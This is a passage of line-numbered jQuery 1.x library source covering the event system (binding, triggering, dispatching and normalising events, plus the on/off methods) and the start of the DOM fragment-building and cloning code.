  2803. special = jQuery.event.special[type] || {};
  2804. handleObj = jQuery.extend({
  2805. type: type,
  2806. origType: origType,
  2807. data: data,
  2808. handler: handler,
  2809. guid: handler.guid,
  2810. selector: selector,
  2811. needsContext: selector && jQuery.expr.match.needsContext.test(selector),
  2812. namespace: namespaces.join(".")
  2813. }, handleObjIn);
  2814. if (!(handlers = events[type])) {
  2815. handlers = events[type] = [];
  2816. handlers.delegateCount = 0;
  2817. if (!special.setup || special.setup.call(elem, data, namespaces, eventHandle) === false) {
  2818. if (elem.addEventListener) {
  2819. elem.addEventListener(type, eventHandle, false)
  2820. } else if (elem.attachEvent) {
  2821. elem.attachEvent("on" + type, eventHandle)
  2822. }
  2823. }
  2824. }
  2825. if (special.add) {
  2826. special.add.call(elem, handleObj);
  2827. if (!handleObj.handler.guid) {
  2828. handleObj.handler.guid = handler.guid
  2829. }
  2830. }
  2831. if (selector) {
  2832. handlers.splice(handlers.delegateCount++, 0, handleObj)
  2833. } else {
  2834. handlers.push(handleObj)
  2835. }
  2836. jQuery.event.global[type] = true
  2837. }
  2838. elem = null
  2839. },
  2840. remove: function(elem, types, handler, selector, mappedTypes) {
  2841. var j, handleObj, tmp, origCount, t, events, special, handlers, type, namespaces, origType, elemData = jQuery.hasData(elem) && jQuery._data(elem);
  2842. if (!elemData || !(events = elemData.events)) {
  2843. return
  2844. }
  2845. types = (types || "").match(rnotwhite) || [""];
  2846. t = types.length;
  2847. while (t--) {
  2848. tmp = rtypenamespace.exec(types[t]) || [];
  2849. type = origType = tmp[1];
  2850. namespaces = (tmp[2] || "").split(".").sort();
  2851. if (!type) {
  2852. for (type in events) {
  2853. jQuery.event.remove(elem, type + types[t], handler, selector, true)
  2854. }
  2855. continue
  2856. }
  2857. special = jQuery.event.special[type] || {};
  2858. type = (selector ? special.delegateType : special.bindType) || type;
  2859. handlers = events[type] || [];
  2860. tmp = tmp[2] && new RegExp("(^|\\.)" + namespaces.join("\\.(?:.*\\.|)") + "(\\.|$)");
  2861. origCount = j = handlers.length;
  2862. while (j--) {
  2863. handleObj = handlers[j];
  2864. if ((mappedTypes || origType === handleObj.origType) && (!handler || handler.guid === handleObj.guid) && (!tmp || tmp.test(handleObj.namespace)) && (!selector || selector === handleObj.selector || selector === "**" && handleObj.selector)) {
  2865. handlers.splice(j, 1);
  2866. if (handleObj.selector) {
  2867. handlers.delegateCount--
  2868. }
  2869. if (special.remove) {
  2870. special.remove.call(elem, handleObj)
  2871. }
  2872. }
  2873. }
  2874. if (origCount && !handlers.length) {
  2875. if (!special.teardown || special.teardown.call(elem, namespaces, elemData.handle) === false) {
  2876. jQuery.removeEvent(elem, type, elemData.handle)
  2877. }
  2878. delete events[type]
  2879. }
  2880. }
  2881. if (jQuery.isEmptyObject(events)) {
  2882. delete elemData.handle;
  2883. jQuery._removeData(elem, "events")
  2884. }
  2885. },
  2886. trigger: function(event, data, elem, onlyHandlers) {
  2887. var handle, ontype, cur, bubbleType, special, tmp, i, eventPath = [elem || document],
  2888. type = hasOwn.call(event, "type") ? event.type : event,
  2889. namespaces = hasOwn.call(event, "namespace") ? event.namespace.split(".") : [];
  2890. cur = tmp = elem = elem || document;
  2891. if (elem.nodeType === 3 || elem.nodeType === 8) {
  2892. return
  2893. }
  2894. if (rfocusMorph.test(type + jQuery.event.triggered)) {
  2895. return
  2896. }
  2897. if (type.indexOf(".") >= 0) {
  2898. namespaces = type.split(".");
  2899. type = namespaces.shift();
  2900. namespaces.sort()
  2901. }
  2902. ontype = type.indexOf(":") < 0 && "on" + type;
  2903. event = event[jQuery.expando] ? event : new jQuery.Event(type, typeof event === "object" && event);
  2904. event.isTrigger = onlyHandlers ? 2 : 3;
  2905. event.namespace = namespaces.join(".");
  2906. event.namespace_re = event.namespace ? new RegExp("(^|\\.)" + namespaces.join("\\.(?:.*\\.|)") + "(\\.|$)") : null;
  2907. event.result = undefined;
  2908. if (!event.target) {
  2909. event.target = elem
  2910. }
  2911. data = data == null ? [event] : jQuery.makeArray(data, [event]);
  2912. special = jQuery.event.special[type] || {};
  2913. if (!onlyHandlers && special.trigger && special.trigger.apply(elem, data) === false) {
  2914. return
  2915. }
  2916. if (!onlyHandlers && !special.noBubble && !jQuery.isWindow(elem)) {
  2917. bubbleType = special.delegateType || type;
  2918. if (!rfocusMorph.test(bubbleType + type)) {
  2919. cur = cur.parentNode
  2920. }
  2921. for (; cur; cur = cur.parentNode) {
  2922. eventPath.push(cur);
  2923. tmp = cur
  2924. }
  2925. if (tmp === (elem.ownerDocument || document)) {
  2926. eventPath.push(tmp.defaultView || tmp.parentWindow || window)
  2927. }
  2928. }
  2929. i = 0;
  2930. while ((cur = eventPath[i++]) && !event.isPropagationStopped()) {
  2931. event.type = i > 1 ? bubbleType : special.bindType || type;
  2932. handle = (jQuery._data(cur, "events") || {})[event.type] && jQuery._data(cur, "handle");
  2933. if (handle) {
  2934. handle.apply(cur, data)
  2935. }
  2936. handle = ontype && cur[ontype];
  2937. if (handle && handle.apply && jQuery.acceptData(cur)) {
  2938. event.result = handle.apply(cur, data);
  2939. if (event.result === false) {
  2940. event.preventDefault()
  2941. }
  2942. }
  2943. }
  2944. event.type = type;
  2945. if (!onlyHandlers && !event.isDefaultPrevented()) {
  2946. if ((!special._default || special._default.apply(eventPath.pop(), data) === false) && jQuery.acceptData(elem)) {
  2947. if (ontype && elem[type] && !jQuery.isWindow(elem)) {
  2948. tmp = elem[ontype];
  2949. if (tmp) {
  2950. elem[ontype] = null
  2951. }
  2952. jQuery.event.triggered = type;
  2953. try {
  2954. elem[type]()
  2955. } catch (e) {}
  2956. jQuery.event.triggered = undefined;
  2957. if (tmp) {
  2958. elem[ontype] = tmp
  2959. }
  2960. }
  2961. }
  2962. }
  2963. return event.result
  2964. },
  2965. dispatch: function(event) {
  2966. event = jQuery.event.fix(event);
  2967. var i, ret, handleObj, matched, j, handlerQueue = [],
  2968. args = slice.call(arguments),
  2969. handlers = (jQuery._data(this, "events") || {})[event.type] || [],
  2970. special = jQuery.event.special[event.type] || {};
  2971. args[0] = event;
  2972. event.delegateTarget = this;
  2973. if (special.preDispatch && special.preDispatch.call(this, event) === false) {
  2974. return
  2975. }
  2976. handlerQueue = jQuery.event.handlers.call(this, event, handlers);
  2977. i = 0;
  2978. while ((matched = handlerQueue[i++]) && !event.isPropagationStopped()) {
  2979. event.currentTarget = matched.elem;
  2980. j = 0;
  2981. while ((handleObj = matched.handlers[j++]) && !event.isImmediatePropagationStopped()) {
  2982. if (!event.namespace_re || event.namespace_re.test(handleObj.namespace)) {
  2983. event.handleObj = handleObj;
  2984. event.data = handleObj.data;
  2985. ret = ((jQuery.event.special[handleObj.origType] || {}).handle || handleObj.handler).apply(matched.elem, args);
  2986. if (ret !== undefined) {
  2987. if ((event.result = ret) === false) {
  2988. event.preventDefault();
  2989. event.stopPropagation()
  2990. }
  2991. }
  2992. }
  2993. }
  2994. }
  2995. if (special.postDispatch) {
  2996. special.postDispatch.call(this, event)
  2997. }
  2998. return event.result
  2999. },
  3000. handlers: function(event, handlers) {
  3001. var sel, handleObj, matches, i, handlerQueue = [],
  3002. delegateCount = handlers.delegateCount,
  3003. cur = event.target;
  3004. if (delegateCount && cur.nodeType && (!event.button || event.type !== "click")) {
  3005. for (; cur != this; cur = cur.parentNode || this) {
  3006. if (cur.nodeType === 1 && (cur.disabled !== true || event.type !== "click")) {
  3007. matches = [];
  3008. for (i = 0; i < delegateCount; i++) {
  3009. handleObj = handlers[i];
  3010. sel = handleObj.selector + " ";
  3011. if (matches[sel] === undefined) {
  3012. matches[sel] = handleObj.needsContext ? jQuery(sel, this).index(cur) >= 0 : jQuery.find(sel, this, null, [cur]).length
  3013. }
  3014. if (matches[sel]) {
  3015. matches.push(handleObj)
  3016. }
  3017. }
  3018. if (matches.length) {
  3019. handlerQueue.push({
  3020. elem: cur,
  3021. handlers: matches
  3022. })
  3023. }
  3024. }
  3025. }
  3026. }
  3027. if (delegateCount < handlers.length) {
  3028. handlerQueue.push({
  3029. elem: this,
  3030. handlers: handlers.slice(delegateCount)
  3031. })
  3032. }
  3033. return handlerQueue
  3034. },
  3035. fix: function(event) {
  3036. if (event[jQuery.expando]) {
  3037. return event
  3038. }
  3039. var i, prop, copy, type = event.type,
  3040. originalEvent = event,
  3041. fixHook = this.fixHooks[type];
  3042. if (!fixHook) {
  3043. this.fixHooks[type] = fixHook = rmouseEvent.test(type) ? this.mouseHooks : rkeyEvent.test(type) ? this.keyHooks : {}
  3044. }
  3045. copy = fixHook.props ? this.props.concat(fixHook.props) : this.props;
  3046. event = new jQuery.Event(originalEvent);
  3047. i = copy.length;
  3048. while (i--) {
  3049. prop = copy[i];
  3050. event[prop] = originalEvent[prop]
  3051. }
  3052. if (!event.target) {
  3053. event.target = originalEvent.srcElement || document
  3054. }
  3055. if (event.target.nodeType === 3) {
  3056. event.target = event.target.parentNode
  3057. }
  3058. event.metaKey = !!event.metaKey;
  3059. return fixHook.filter ? fixHook.filter(event, originalEvent) : event
  3060. },
  3061. props: "altKey bubbles cancelable ctrlKey currentTarget eventPhase metaKey relatedTarget shiftKey target timeStamp view which".split(" "),
  3062. fixHooks: {},
  3063. keyHooks: {
  3064. props: "char charCode key keyCode".split(" "),
  3065. filter: function(event, original) {
  3066. if (event.which == null) {
  3067. event.which = original.charCode != null ? original.charCode : original.keyCode
  3068. }
  3069. return event
  3070. }
  3071. },
  3072. mouseHooks: {
  3073. props: "button buttons clientX clientY fromElement offsetX offsetY pageX pageY screenX screenY toElement".split(" "),
  3074. filter: function(event, original) {
  3075. var body, eventDoc, doc, button = original.button,
  3076. fromElement = original.fromElement;
  3077. if (event.pageX == null && original.clientX != null) {
  3078. eventDoc = event.target.ownerDocument || document;
  3079. doc = eventDoc.documentElement;
  3080. body = eventDoc.body;
  3081. event.pageX = original.clientX + (doc && doc.scrollLeft || body && body.scrollLeft || 0) - (doc && doc.clientLeft || body && body.clientLeft || 0);
  3082. event.pageY = original.clientY + (doc && doc.scrollTop || body && body.scrollTop || 0) - (doc && doc.clientTop || body && body.clientTop || 0)
  3083. }
  3084. if (!event.relatedTarget && fromElement) {
  3085. event.relatedTarget = fromElement === event.target ? original.toElement : fromElement
  3086. }
  3087. if (!event.which && button !== undefined) {
  3088. event.which = (button & 1 ? 1 : (button & 2 ? 3 : (button & 4 ? 2 : 0)))
  3089. }
  3090. return event
  3091. }
  3092. },
  3093. special: {
  3094. load: {
  3095. noBubble: true
  3096. },
  3097. focus: {
  3098. trigger: function() {
  3099. if (this !== safeActiveElement() && this.focus) {
  3100. try {
  3101. this.focus();
  3102. return false
  3103. } catch (e) {}
  3104. }
  3105. },
  3106. delegateType: "focusin"
  3107. },
  3108. blur: {
  3109. trigger: function() {
  3110. if (this === safeActiveElement() && this.blur) {
  3111. this.blur();
  3112. return false
  3113. }
  3114. },
  3115. delegateType: "focusout"
  3116. },
  3117. click: {
  3118. trigger: function() {
  3119. if (jQuery.nodeName(this, "input") && this.type === "checkbox" && this.click) {
  3120. this.click();
  3121. return false
  3122. }
  3123. },
  3124. _default: function(event) {
  3125. return jQuery.nodeName(event.target, "a")
  3126. }
  3127. },
  3128. beforeunload: {
  3129. postDispatch: function(event) {
  3130. if (event.result !== undefined && event.originalEvent) {
  3131. event.originalEvent.returnValue = event.result
  3132. }
  3133. }
  3134. }
  3135. },
  3136. simulate: function(type, elem, event, bubble) {
  3137. var e = jQuery.extend(new jQuery.Event(), event, {
  3138. type: type,
  3139. isSimulated: true,
  3140. originalEvent: {}
  3141. });
  3142. if (bubble) {
  3143. jQuery.event.trigger(e, null, elem)
  3144. } else {
  3145. jQuery.event.dispatch.call(elem, e)
  3146. }
  3147. if (e.isDefaultPrevented()) {
  3148. event.preventDefault()
  3149. }
  3150. }
  3151. };
  3152. jQuery.removeEvent = document.removeEventListener ? function(elem, type, handle) {
  3153. if (elem.removeEventListener) {
  3154. elem.removeEventListener(type, handle, false)
  3155. }
  3156. } : function(elem, type, handle) {
  3157. var name = "on" + type;
  3158. if (elem.detachEvent) {
  3159. if (typeof elem[name] === strundefined) {
  3160. elem[name] = null
  3161. }
  3162. elem.detachEvent(name, handle)
  3163. }
  3164. };
  3165. jQuery.Event = function(src, props) {
  3166. if (!(this instanceof jQuery.Event)) {
  3167. return new jQuery.Event(src, props)
  3168. }
  3169. if (src && src.type) {
  3170. this.originalEvent = src;
  3171. this.type = src.type;
  3172. this.isDefaultPrevented = src.defaultPrevented || src.defaultPrevented === undefined && src.returnValue === false ? returnTrue : returnFalse
  3173. } else {
  3174. this.type = src
  3175. }
  3176. if (props) {
  3177. jQuery.extend(this, props)
  3178. }
  3179. this.timeStamp = src && src.timeStamp || jQuery.now();
  3180. this[jQuery.expando] = true
  3181. };
  3182. jQuery.Event.prototype = {
  3183. isDefaultPrevented: returnFalse,
  3184. isPropagationStopped: returnFalse,
  3185. isImmediatePropagationStopped: returnFalse,
  3186. preventDefault: function() {
  3187. var e = this.originalEvent;
  3188. this.isDefaultPrevented = returnTrue;
  3189. if (!e) {
  3190. return
  3191. }
  3192. if (e.preventDefault) {
  3193. e.preventDefault()
  3194. } else {
  3195. e.returnValue = false
  3196. }
  3197. },
  3198. stopPropagation: function() {
  3199. var e = this.originalEvent;
  3200. this.isPropagationStopped = returnTrue;
  3201. if (!e) {
  3202. return
  3203. }
  3204. if (e.stopPropagation) {
  3205. e.stopPropagation()
  3206. }
  3207. e.cancelBubble = true
  3208. },
  3209. stopImmediatePropagation: function() {
  3210. var e = this.originalEvent;
  3211. this.isImmediatePropagationStopped = returnTrue;
  3212. if (e && e.stopImmediatePropagation) {
  3213. e.stopImmediatePropagation()
  3214. }
  3215. this.stopPropagation()
  3216. }
  3217. };
  3218. jQuery.each({
  3219. mouseenter: "mouseover",
  3220. mouseleave: "mouseout",
  3221. pointerenter: "pointerover",
  3222. pointerleave: "pointerout"
  3223. }, function(orig, fix) {
  3224. jQuery.event.special[orig] = {
  3225. delegateType: fix,
  3226. bindType: fix,
  3227. handle: function(event) {
  3228. var ret, target = this,
  3229. related = event.relatedTarget,
  3230. handleObj = event.handleObj;
  3231. if (!related || (related !== target && !jQuery.contains(target, related))) {
  3232. event.type = handleObj.origType;
  3233. ret = handleObj.handler.apply(this, arguments);
  3234. event.type = fix
  3235. }
  3236. return ret
  3237. }
  3238. }
  3239. });
  3240. if (!support.submitBubbles) {
  3241. jQuery.event.special.submit = {
  3242. setup: function() {
  3243. if (jQuery.nodeName(this, "form")) {
  3244. return false
  3245. }
  3246. jQuery.event.add(this, "click._submit keypress._submit", function(e) {
  3247. var elem = e.target,
  3248. form = jQuery.nodeName(elem, "input") || jQuery.nodeName(elem, "button") ? elem.form : undefined;
  3249. if (form && !jQuery._data(form, "submitBubbles")) {
  3250. jQuery.event.add(form, "submit._submit", function(event) {
  3251. event._submit_bubble = true
  3252. });
  3253. jQuery._data(form, "submitBubbles", true)
  3254. }
  3255. })
  3256. },
  3257. postDispatch: function(event) {
  3258. if (event._submit_bubble) {
  3259. delete event._submit_bubble;
  3260. if (this.parentNode && !event.isTrigger) {
  3261. jQuery.event.simulate("submit", this.parentNode, event, true)
  3262. }
  3263. }
  3264. },
  3265. teardown: function() {
  3266. if (jQuery.nodeName(this, "form")) {
  3267. return false
  3268. }
  3269. jQuery.event.remove(this, "._submit")
  3270. }
  3271. }
  3272. }
  3273. if (!support.changeBubbles) {
  3274. jQuery.event.special.change = {
  3275. setup: function() {
  3276. if (rformElems.test(this.nodeName)) {
  3277. if (this.type === "checkbox" || this.type === "radio") {
  3278. jQuery.event.add(this, "propertychange._change", function(event) {
  3279. if (event.originalEvent.propertyName === "checked") {
  3280. this._just_changed = true
  3281. }
  3282. });
  3283. jQuery.event.add(this, "click._change", function(event) {
  3284. if (this._just_changed && !event.isTrigger) {
  3285. this._just_changed = false
  3286. }
  3287. jQuery.event.simulate("change", this, event, true)
  3288. })
  3289. }
  3290. return false
  3291. }
  3292. jQuery.event.add(this, "beforeactivate._change", function(e) {
  3293. var elem = e.target;
  3294. if (rformElems.test(elem.nodeName) && !jQuery._data(elem, "changeBubbles")) {
  3295. jQuery.event.add(elem, "change._change", function(event) {
  3296. if (this.parentNode && !event.isSimulated && !event.isTrigger) {
  3297. jQuery.event.simulate("change", this.parentNode, event, true)
  3298. }
  3299. });
  3300. jQuery._data(elem, "changeBubbles", true)
  3301. }
  3302. })
  3303. },
  3304. handle: function(event) {
  3305. var elem = event.target;
  3306. if (this !== elem || event.isSimulated || event.isTrigger || (elem.type !== "radio" && elem.type !== "checkbox")) {
  3307. return event.handleObj.handler.apply(this, arguments)
  3308. }
  3309. },
  3310. teardown: function() {
  3311. jQuery.event.remove(this, "._change");
  3312. return !rformElems.test(this.nodeName)
  3313. }
  3314. }
  3315. }
  3316. if (!support.focusinBubbles) {
  3317. jQuery.each({
  3318. focus: "focusin",
  3319. blur: "focusout"
  3320. }, function(orig, fix) {
  3321. var handler = function(event) {
  3322. jQuery.event.simulate(fix, event.target, jQuery.event.fix(event), true)
  3323. };
  3324. jQuery.event.special[fix] = {
  3325. setup: function() {
  3326. var doc = this.ownerDocument || this,
  3327. attaches = jQuery._data(doc, fix);
  3328. if (!attaches) {
  3329. doc.addEventListener(orig, handler, true)
  3330. }
  3331. jQuery._data(doc, fix, (attaches || 0) + 1)
  3332. },
  3333. teardown: function() {
  3334. var doc = this.ownerDocument || this,
  3335. attaches = jQuery._data(doc, fix) - 1;
  3336. if (!attaches) {
  3337. doc.removeEventListener(orig, handler, true);
  3338. jQuery._removeData(doc, fix)
  3339. } else {
  3340. jQuery._data(doc, fix, attaches)
  3341. }
  3342. }
  3343. }
  3344. })
  3345. }
  3346. jQuery.fn.extend({
  3347. on: function(types, selector, data, fn, one) {
  3348. var type, origFn;
  3349. if (typeof types === "object") {
  3350. if (typeof selector !== "string") {
  3351. data = data || selector;
  3352. selector = undefined
  3353. }
  3354. for (type in types) {
  3355. this.on(type, selector, data, types[type], one)
  3356. }
  3357. return this
  3358. }
  3359. if (data == null && fn == null) {
  3360. fn = selector;
  3361. data = selector = undefined
  3362. } else if (fn == null) {
  3363. if (typeof selector === "string") {
  3364. fn = data;
  3365. data = undefined
  3366. } else {
  3367. fn = data;
  3368. data = selector;
  3369. selector = undefined
  3370. }
  3371. }
  3372. if (fn === false) {
  3373. fn = returnFalse
  3374. } else if (!fn) {
  3375. return this
  3376. }
  3377. if (one === 1) {
  3378. origFn = fn;
  3379. fn = function(event) {
  3380. jQuery().off(event);
  3381. return origFn.apply(this, arguments)
  3382. };
  3383. fn.guid = origFn.guid || (origFn.guid = jQuery.guid++)
  3384. }
  3385. return this.each(function() {
  3386. jQuery.event.add(this, types, fn, data, selector)
  3387. })
  3388. },
  3389. one: function(types, selector, data, fn) {
  3390. return this.on(types, selector, data, fn, 1)
  3391. },
  3392. off: function(types, selector, fn) {
  3393. var handleObj, type;
  3394. if (types && types.preventDefault && types.handleObj) {
  3395. handleObj = types.handleObj;
  3396. jQuery(types.delegateTarget).off(handleObj.namespace ? handleObj.origType + "." + handleObj.namespace : handleObj.origType, handleObj.selector, handleObj.handler);
  3397. return this
  3398. }
  3399. if (typeof types === "object") {
  3400. for (type in types) {
  3401. this.off(type, selector, types[type])
  3402. }
  3403. return this
  3404. }
  3405. if (selector === false || typeof selector === "function") {
  3406. fn = selector;
  3407. selector = undefined
  3408. }
  3409. if (fn === false) {
  3410. fn = returnFalse
  3411. }
  3412. return this.each(function() {
  3413. jQuery.event.remove(this, types, fn, selector)
  3414. })
  3415. },
  3416. trigger: function(type, data) {
  3417. return this.each(function() {
  3418. jQuery.event.trigger(type, data, this)
  3419. })
  3420. },
  3421. triggerHandler: function(type, data) {
  3422. var elem = this[0];
  3423. if (elem) {
  3424. return jQuery.event.trigger(type, data, elem, true)
  3425. }
  3426. }
  3427. });
  3428.  
  3429. function createSafeFragment(document) {
  3430. var list = nodeNames.split("|"),
  3431. safeFrag = document.createDocumentFragment();
  3432. if (safeFrag.createElement) {
  3433. while (list.length) {
  3434. safeFrag.createElement(list.pop())
  3435. }
  3436. }
  3437. return safeFrag
  3438. }
  3439. var nodeNames = "abbr|article|aside|audio|bdi|canvas|data|datalist|details|figcaption|figure|footer|" + "header|hgroup|mark|meter|nav|output|progress|section|summary|time|video",
  3440. rinlinejQuery = / jQuery\d+="(?:null|\d+)"/g,
  3441. rnoshimcache = new RegExp("<(?:" + nodeNames + ")[\\s/>]", "i"),
  3442. rleadingWhitespace = /^\s+/,
  3443. rxhtmlTag = /<(?!area|br|col|embed|hr|img|input|link|meta|param)(([\w:]+)[^>]*)\/>/gi,
  3444. rtagName = /<([\w:]+)/,
  3445. rtbody = /<tbody/i,
  3446. rhtml = /<|&#?\w+;/,
  3447. rnoInnerhtml = /<(?:script|style|link)/i,
  3448. rchecked = /checked\s*(?:[^=]|=\s*.checked.)/i,
  3449. rscriptType = /^$|\/(?:java|ecma)script/i,
  3450. rscriptTypeMasked = /^true\/(.*)/,
  3451. rcleanScript = /^\s*<!(?:\[CDATA\[|--)|(?:\]\]|--)>\s*$/g,
  3452. wrapMap = {
  3453. option: [1, "<select multiple='multiple'>", "</select>"],
  3454. legend: [1, "<fieldset>", "</fieldset>"],
  3455. area: [1, "<map>", "</map>"],
  3456. param: [1, "<object>", "</object>"],
  3457. thead: [1, "<table>", "</table>"],
  3458. tr: [2, "<table><tbody>", "</tbody></table>"],
  3459. col: [2, "<table><tbody></tbody><colgroup>", "</colgroup></table>"],
  3460. td: [3, "<table><tbody><tr>", "</tr></tbody></table>"],
  3461. _default: support.htmlSerialize ? [0, "", ""] : [1, "X<div>", "</div>"]
  3462. },
  3463. safeFragment = createSafeFragment(document),
  3464. fragmentDiv = safeFragment.appendChild(document.createElement("div"));
  3465. wrapMap.optgroup = wrapMap.option;
  3466. wrapMap.tbody = wrapMap.tfoot = wrapMap.colgroup = wrapMap.caption = wrapMap.thead;
  3467. wrapMap.th = wrapMap.td;
  3468.  
  3469. function getAll(context, tag) {
  3470. var elems, elem, i = 0,
  3471. found = typeof context.getElementsByTagName !== strundefined ? context.getElementsByTagName(tag || "*") : typeof context.querySelectorAll !== strundefined ? context.querySelectorAll(tag || "*") : undefined;
  3472. if (!found) {
  3473. for (found = [], elems = context.childNodes || context;
  3474. (elem = elems[i]) != null; i++) {
  3475. if (!tag || jQuery.nodeName(elem, tag)) {
  3476. found.push(elem)
  3477. } else {
  3478. jQuery.merge(found, getAll(elem, tag))
  3479. }
  3480. }
  3481. }
  3482. return tag === undefined || tag && jQuery.nodeName(context, tag) ? jQuery.merge([context], found) : found
  3483. }
  3484.  
  3485. function fixDefaultChecked(elem) {
  3486. if (rcheckableType.test(elem.type)) {
  3487. elem.defaultChecked = elem.checked
  3488. }
  3489. }
  3490.  
  3491. function manipulationTarget(elem, content) {
  3492. return jQuery.nodeName(elem, "table") && jQuery.nodeName(content.nodeType !== 11 ? content : content.firstChild, "tr") ? elem.getElementsByTagName("tbody")[0] || elem.appendChild(elem.ownerDocument.createElement("tbody")) : elem
  3493. }
  3494.  
  3495. function disableScript(elem) {
  3496. elem.type = (jQuery.find.attr(elem, "type") !== null) + "/" + elem.type;
  3497. return elem
  3498. }
  3499.  
  3500. function restoreScript(elem) {
  3501. var match = rscriptTypeMasked.exec(elem.type);
  3502. if (match) {
  3503. elem.type = match[1]
  3504. } else {
  3505. elem.removeAttribute("type")
  3506. }
  3507. return elem
  3508. }
  3509.  
  3510. function setGlobalEval(elems, refElements) {
  3511. var elem, i = 0;
  3512. for (;
  3513. (elem = elems[i]) != null; i++) {
  3514. jQuery._data(elem, "globalEval", !refElements || jQuery._data(refElements[i], "globalEval"))
  3515. }
  3516. }
  3517.  
  3518. function cloneCopyEvent(src, dest) {
  3519. if (dest.nodeType !== 1 || !jQuery.hasData(src)) {
  3520. return
  3521. }
  3522. var type, i, l, oldData = jQuery._data(src),
  3523. curData = jQuery._data(dest, oldData),
  3524. events = oldData.events;
  3525. if (events) {
  3526. delete curData.handle;
  3527. curData.events = {};
  3528. for (type in events) {
  3529. for (i = 0, l = events[type].length; i < l; i++) {
  3530. jQuery.event.add(dest, type, events[type][i])
  3531. }
  3532. }
  3533. }
  3534. if (curData.data) {
  3535. curData.data = jQuery.extend({}, curData.data)
  3536. }
  3537. }
  3538.  
  3539. function fixCloneNodeIssues(src, dest) {
  3540. var nodeName, e, data;
  3541. if (dest.nodeType !== 1) {
  3542. return
  3543. }
  3544. nodeName = dest.nodeName.toLowerCase();
  3545. if (!support.noCloneEvent && dest[jQuery.expando]) {
  3546. data = jQuery._data(dest);
  3547. for (e in data.events) {
  3548. jQuery.removeEvent(dest, e, data.handle)
  3549. }
  3550. dest.removeAttribute(jQuery.expando)
  3551. }
  3552. if (nodeName === "script" && dest.text !== src.text) {
  3553. disableScript(dest).text = src.text;
  3554. restoreScript(dest)
  3555. } else if (nodeName === "object") {
  3556. if (dest.parentNode) {
  3557. dest.outerHTML = src.outerHTML
  3558. }
  3559. if (support.html5Clone && (src.innerHTML && !jQuery.trim(dest.innerHTML))) {
  3560. dest.innerHTML = src.innerHTML
  3561. }
  3562. } else if (nodeName === "input" && rcheckableType.test(src.type)) {
  3563. dest.defaultChecked = dest.checked = src.checked;
  3564. if (dest.value !== src.value) {
  3565. dest.value = src.value
  3566. }
  3567. } else if (nodeName === "option") {
  3568. dest.defaultSelected = dest.selected = src.defaultSelected
  3569. } else if (nodeName === "input" || nodeName === "textarea") {
  3570. dest.defaultValue = src.defaultValue
  3571. }
  3572. }
  3573. jQuery.extend({
  3574. clone: function(elem, dataAndEvents, deepDataAndEvents) {
  3575. var destElements, node, clone, i, srcElements, inPage = jQuery.contains(elem.ownerDocument, elem);
  3576. if (support.html5Clone || jQuery.isXMLDoc(elem) || !rnoshimcache.test("<" + elem.nodeName + ">")) {
  3577. clone = elem.cloneNode(true)
  3578. } else {
  3579. fragmentDiv.innerHTML = elem.outerHTML;
  3580. fragmentDiv.removeChild(clone = fragmentDiv.firstChild)
  3581. }
  3582. if ((!support.noCloneEvent || !support.noCloneChecked) && (elem.nodeType === 1 || elem.nodeType === 11) && !jQuery.isXMLDoc(elem)) {
  3583. destElements = getAll(clone);
  3584. srcElements = getAll(elem);
  3585. for (i = 0;
  3586. (node = srcElements[i]) != null; ++i) {
  3587. if (destElements[i]) {
  3588. fixCloneNodeIssues(node, destElements[i])
  3589. }
  3590. }
  3591. }
  3592. if (dataAndEvents) {
  3593. if (deepDataAndEvents) {
  3594. srcElements = srcElements || getAll(elem);
  3595. destElements = destElements || getAll(clone);
  3596. for (i = 0;
  3597. (node = srcElements[i]) != null; i++) {
  3598. cloneCopyEvent(node, destElements[i])
  3599. }
  3600. } else {
  3601. cloneCopyEvent(elem, clone)
  3602. }
  3603. }
  3604. destElements = getAll(clone, "script");
  3605. if (destElements.length > 0) {
  3606. setGlobalEval(destElements, !inPage && getAll(elem, "script"))
  3607. }
  3608. destElements = srcElements = node = null;
  3609. return clone
  3610. },
  3611. buildFragment: function(elems, context, scripts, selection) {
  3612. var j, elem, contains, tmp, tag, tbody, wrap, l = elems.length,
  3613. safe = createSafeFragment(context),
  3614. nodes = [],
  3615. i = 0;
  3616. for (; i < l; i++) {
  3617. elem = elems[i];
  3618. if (elem || elem === 0) {
  3619. if (jQuery.type(elem) === "object") {
  3620. jQuery.merge(nodes, elem.nodeType ? [elem] : elem)
  3621. } else if (!rhtml.test(elem)) {
  3622. nodes.push(context.createTextNode(elem))
  3623. } else {
  3624. tmp = tmp || safe.appendChild(context.createElement("div"));
  3625. tag = (rtagName.exec(elem) || ["", ""])[1].toLowerCase();
  3626. wrap = wrapMap[tag] || wrapMap._default;
  3627. tmp.innerHTML = wrap[1] + elem.replace(rxhtmlTag, "<$1></$2>") + wrap[2];
  3628. j = wrap[0];
  3629. while (j--) {
  3630. tmp = tmp.lastChild
  3631. }
  3632. if (!support.leadingWhitespace && rleadingWhitespace.test(elem)) {
  3633. nodes.push(context.createTextNode(rleadingWhitespace.exec(elem)[0]))
  3634. }
  3635. if (!support.tbody) {
  3636. elem = tag === "table" && !rtbody.test(elem) ? tmp.firstChild : wrap[1] === "<table>" && !rtbody.test(elem) ? tmp : 0;
  3637. j = elem && elem.childNodes.length;
  3638. while (j--) {
  3639. if (jQuery.nodeName((tbody = elem.childNodes[j]), "tbody") && !tbody.childNodes.length) {
  3640. elem.removeChild(tbody)
  3641. }
  3642. }
  3643. }
  3644. jQuery.merge(nodes, tmp.childNodes);
  3645. tmp.textContent = "";
  3646. while (tmp.firstChild) {
  3647. tmp.removeChild(tmp.firstChild)
  3648. }
  3649. tmp = safe.lastChild
  3650. }
  3651. }
  3652. }
  3653. if (tmp) {
  3654. safe.removeChild(tmp)
  3655. }
  3656. if (!support.appendChecked) {
  3657. jQuery.grep(getAll(nodes, "input"), fixDefaultChecked)
  3658. }
  3659. i = 0;
  3660. while ((elem = nodes[i++])) {
  3661. if (selection && jQuery.inArray(elem, selection) !== -1) {
  3662. continue
  3663. }
  3664. contains = jQuery.contains(elem.ownerDocument, elem);
  3665. tmp = getAll(safe.appendChild(elem), "script");
  3666. if (contains) {
  3667. setGlobalEval(tmp)
  3668. }
  3669. if (scripts) {
  3670. j = 0;
  3671. while ((elem = tmp[j++])) {
  3672. if (rscriptType.test(elem.type || "")) {
  3673. scripts.push(elem)
  3674. }
  3675. }
  3676. }
  3677. }
  3678. tmp = null;
  3679. return safe
  3680. },
  3681. cleanData: function(elems, acceptData) {
  3682. var elem, type, id, data, i = 0,
  3683. internalKey = jQuery.expando,
  3684. cache = jQuery.cache,
  3685. deleteExpando = support.deleteExpando,
  3686. special = jQuery.event.special;
  3687. for (;
  3688. (elem = elems[i]) != null; i++) {
